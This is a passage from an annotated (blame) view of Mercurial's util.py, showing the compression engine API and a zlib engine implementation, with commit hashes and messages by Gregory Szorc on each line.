7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3343
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3344 If ``onlyavailable`` is set, filter out engines that can't be
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3345 loaded.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3346 """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3347 assert role in (SERVERROLE, CLIENTROLE)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3348
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3349 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3350
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3351 engines = [self._engines[e] for e in self._wiretypes.values()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3352 if onlyavailable:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3353 engines = [e for e in engines if e.available()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3354
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3355 def getkey(e):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3356 # Sort first by priority, highest first. In case of tie, sort
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3357 # alphabetically. This is arbitrary, but ensures output is
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3358 # stable.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3359 w = e.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3360 return -1 * getattr(w, attr), w.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3361
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3362 return list(sorted(engines, key=getkey))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3363
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3364 def forwiretype(self, wiretype):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3365 engine = self._engines[self._wiretypes[wiretype]]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3366 if not engine.available():
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3367 raise error.Abort(_('compression engine %s could not be loaded') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3368 engine.name())
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3369 return engine
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3370
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3371 def forrevlogheader(self, header):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3372 """Obtain a compression engine registered to a revlog header.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3373
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3374 Will raise KeyError if the revlog header value isn't registered.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3375 """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3376 return self._engines[self._revlogheaders[header]]
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3377
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3378 compengines = compressormanager()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3379
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3380 class compressionengine(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3381 """Base class for compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3382
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3383 Compression engines must implement the interface defined by this class.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3384 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3385 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3386 """Returns the name of the compression engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3387
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3388 This is the key the engine is registered under.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3389
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3390 This method must be implemented.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3391 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3392 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3393
30446
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3394 def available(self):
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3395 """Whether the compression engine is available.
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3396
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3397 The intent of this method is to allow optional compression engines
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3398 that may not be available in all installations (such as engines relying
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3399 on C extensions that may not be present).
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3400 """
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3401 return True
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30428
diff changeset
3402
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3403 def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3404 """Describes bundle identifiers for this engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3405
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3406 If this compression engine isn't supported for bundles, returns None.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3407
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3408 If this engine can be used for bundles, returns a 2-tuple of strings of
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3409 the user-facing "bundle spec" compression name and an internal
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3410 identifier used to denote the compression format within bundles. To
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3411 exclude the name from external usage, set the first element to ``None``.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3412
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3413 If bundle compression is supported, the class must also implement
30369
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30366
diff changeset
3414 ``compressstream`` and `decompressorreader``.
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3415
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3416 The docstring of this method is used in the help system to tell users
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3417 about this engine.
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3418 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3419 return None
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3420
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3421 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3422 """Declare support for this compression format on the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3423
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3424 If this compression engine isn't supported for compressing wire
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3425 protocol payloads, returns None.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3426
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3427 Otherwise, returns ``compenginewireprotosupport`` with the following
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3428 fields:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3429
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3430 * String format identifier
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3431 * Integer priority for the server
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3432 * Integer priority for the client
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3433
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3434 The integer priorities are used to order the advertisement of format
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3435 support by server and client. The highest integer is advertised
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3436 first. Integers with non-positive values aren't advertised.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3437
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3438 The priority values are somewhat arbitrary and only used for default
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3439 ordering. The relative order can be changed via config options.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3440
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3441 If wire protocol compression is supported, the class must also implement
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3442 ``compressstream`` and ``decompressorreader``.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3443 """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3444 return None
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3445
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3446 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3447 """Header added to revlog chunks that identifies this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3448
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3449 If this engine can be used to compress revlogs, this method should
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3450 return the bytes used to identify chunks compressed with this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3451 Else, the method should return ``None`` to indicate it does not
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3452 participate in revlog compression.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3453 """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3454 return None
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3455
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3456 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3457 """Compress an iterator of chunks.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3458
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3459 The method receives an iterator (ideally a generator) of chunks of
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3460 bytes to be compressed. It returns an iterator (ideally a generator)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3461 of bytes of chunks representing the compressed output.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3462
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3463 Optionally accepts an argument defining how to perform compression.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3464 Each engine treats this argument differently.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3465 """
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3466 raise NotImplementedError()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3467
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3468 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3469 """Perform decompression on a file object.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3470
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3471 Argument is an object with a ``read(size)`` method that returns
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3472 compressed data. Return value is an object with a ``read(size)`` that
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3473 returns uncompressed data.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3474 """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3475 raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3476
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3477 def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3478 """Obtain an object that can be used to compress revlog entries.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3479
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3480 The object has a ``compress(data)`` method that compresses binary
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3481 data. This method returns compressed binary data or ``None`` if
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3482 the data could not be compressed (too small, not compressible, etc).
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3483 The returned data should have a header uniquely identifying this
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3484 compression format so decompression can be routed to this engine.
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3485 This header should be identified by the ``revlogheader()`` return
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3486 value.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3487
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3488 The object has a ``decompress(data)`` method that decompresses
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3489 data. The method will only be called if ``data`` begins with
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3490 ``revlogheader()``. The method should return the raw, uncompressed
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3491 data or raise a ``RevlogError``.
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3492
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3493 The object is reusable but is not thread safe.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3494 """
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3495 raise NotImplementedError()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3496
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3497 class _zlibengine(compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3498 def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3499 return 'zlib'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3500
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3501 def bundletype(self):
31795
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3502 """zlib compression using the DEFLATE algorithm.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3503
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3504 All Mercurial clients should support this format. The compression
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3505 algorithm strikes a reasonable balance between compression ratio
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3506 and size.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31780
diff changeset
3507 """
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3508 return 'gzip', 'GZ'
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3509
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3510 def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3511 return compewireprotosupport('zlib', 20, 20)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
3512
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3513 def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3514 return 'x'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
3515
30366
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3516 def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3517 opts = opts or {}
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3518
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3519 z = zlib.compressobj(opts.get('level', -1))
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3520 for chunk in it:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3521 data = z.compress(chunk)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3522 # Not all calls to compress emit data. It is cheaper to inspect
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3523 # here than to feed empty chunks through generator.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3524 if data:
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3525 yield data
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3526
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3527 yield z.flush()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30365
diff changeset
3528
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3529 def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3530 def gen():
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3531 d = zlib.decompressobj()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3532 for chunk in filechunkiter(fh):
30545
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
3533 while chunk:
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
3534 # Limit output size to limit memory.
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
3535 yield d.decompress(chunk, 2 ** 18)
98d7636c4729 util: limit output chunk size in zlib decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30482
diff changeset
3536 chunk = d.unconsumed_tail
30360
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3537
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3538 return chunkbuffer(gen())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30342
diff changeset
3539
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3540 class zlibrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3541 def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3542 insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3543 # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3544 assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
3545
